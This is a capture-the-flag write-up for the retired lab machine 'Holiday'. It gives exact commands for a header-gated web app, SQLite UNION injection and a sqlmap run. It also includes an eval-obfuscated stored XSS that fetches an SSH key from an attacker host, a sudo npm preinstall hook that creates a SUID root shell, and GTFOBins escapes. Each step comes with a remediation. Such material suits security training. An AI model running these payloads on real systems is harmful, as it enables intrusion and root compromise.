Holiday
Summary
Target holiday ($TARGET) runs a hotel booking web app on port 8000 that silently returned 404 responses to every request lacking a 'User-Agent: Linux' header, hiding the attack surface from standard scanners. A theme-matched credential guess ('RickA's password') authenticated to the internal agent portal; the same login form was also vulnerable to UNION-based SQL injection against its SQLite backend, providing an alternative authentication bypass without any valid password. From the authenticated portal, a booking-note field that filtered literal script tags but ignored eval-obfuscated HTML event-handler payloads was used to stage a stored cross-site scripting attack.
An internal headless browser reviewed booking notes as user algernon; the XSS payload caused it to fetch and install my own SSH public key into algernon's authorized_keys file, yielding an SSH shell and the user flag. From that shell, algernon's sudo right to run npm install with the --unsafe-perm flag was abused via a malicious package.json preinstall hook that copied bash to a SUID-root binary, completing full root compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"Some commands also carry a value in angle brackets (<uuid>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 3
Fingerprint both exposed services.
$ nmap -p 22,8000 -sV --script http-title,http-headers,http-enum,http-methods $TARGETWithout the header: returns 404, confirming the content gate.
$ curl -sS -i http://$TARGET:8000/With 'User-Agent: Linux'. Returns the full booking portal. Use this header on every subsequent request.
$ curl -sS -i -A Linux http://$TARGET:8000/FixRemove the User-Agent content gateLow
Exact commands 2
Authenticate with the themed credential; -c cookies.txt saves the session cookie.
$ curl -sS -i -A Linux -c cookies.txt -b cookies.txt -X POST http://$TARGET:8000/login -d "username=RickA&password=$PASSWORD"Confirm agent portal access and harvest /vac/<uuid> booking links for the next steps.
$ curl -sS -A Linux -b cookies.txt http://$TARGET:8000/agentFixEnforce strong, unique passwords on all application accountsHigh
Exact commands 2
Confirm the injection and enumerate the SQLite schema; look for 'users' and 'sessions' tables.
$ sqlmap -u "http://$TARGET:8000/login" --method=POST --data="username=RickA&password=$PASSWORD" -p username,password --headers='User-Agent: Linux' --batch --level=5 --risk=3 --current-db --tablesUNION injection forges an admin login row; hash is md5('pwn'). Adjust shell quoting as needed for your environment.
$ curl -sS -A Linux -c bypass.txt -b bypass.txt -X POST http://$TARGET:8000/login -d $'username=x") UNION SELECT 1,\'admin\',\'$HASH\',1-- -&password=$PASSWORD'FixReplace string-concatenated SQL queries with parameterized prepared statementsCritical
Exact commands 3
Generate the SSH keypair; the public key will be installed via the XSS payload.
$ ssh-keygen -t ed25519 -N '' -f /tmp/holiday_algernon_keyServe holiday_algernon_key.pub from my machine ($ATTACKER_IP). Confirm the port binds successfully before submitting the payload.
$ python3 -m http.server 8080Submit the obfuscated XSS as a booking note. <ENCODED_PAYLOAD> is the JS character-code array encoding a fetch() to http://$ATTACKER_IP:8080/holiday_algernon_key.pub followed by an XMLHttpRequest or shell command that appends the key to /home/algernon/.ssh/authorized_keys. <uuid> is a booking ID visible in the /agent listing.
$ curl -sS -A Linux -b cookies.txt -X POST http://$TARGET:8000/note -d 'booking_id=<uuid>¬e=%3Cimg+src%3Dx+onerror%3Deval(String.fromCharCode(<ENCODED_PAYLOAD>))%3E'FixApply strict HTML sanitization to booking notes and network-isolate the internal review browserCritical
Exact commands 1
Authenticate with the planted private key; the output contains <user.txt>.
$ ssh -i /tmp/holiday_algernon_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null algernon@$TARGET 'id; cat /home/algernon/user.txt'Exact commands 4
Run from algernon's SSH session to confirm the available sudo rule.
$ sudo -lCreate the malicious package.json in /tmp/npmroot.
$ mkdir -p /tmp/npmroot && printf '%s' '{"scripts":{"preinstall":"cp /bin/bash /tmp/rbash; chmod 4755 /tmp/rbash"}}' > /tmp/npmroot/package.jsonTrigger the preinstall hook as root; creates SUID-root /tmp/rbash.
$ cd /tmp/npmroot && sudo /usr/bin/npm i . --unsafe-permInvoke the SUID bash with -p to retain root privileges; output contains <root.txt>.
$ /tmp/rbash -p -c 'id; cat /root/root.txt'
uid=0(root)FixRemove algernon's sudo right to run npm installCritical
Attack patterns used
The transferable techniques behind this compromise.
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic: bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary: e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) |
| 8000/tcp | http-alt |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.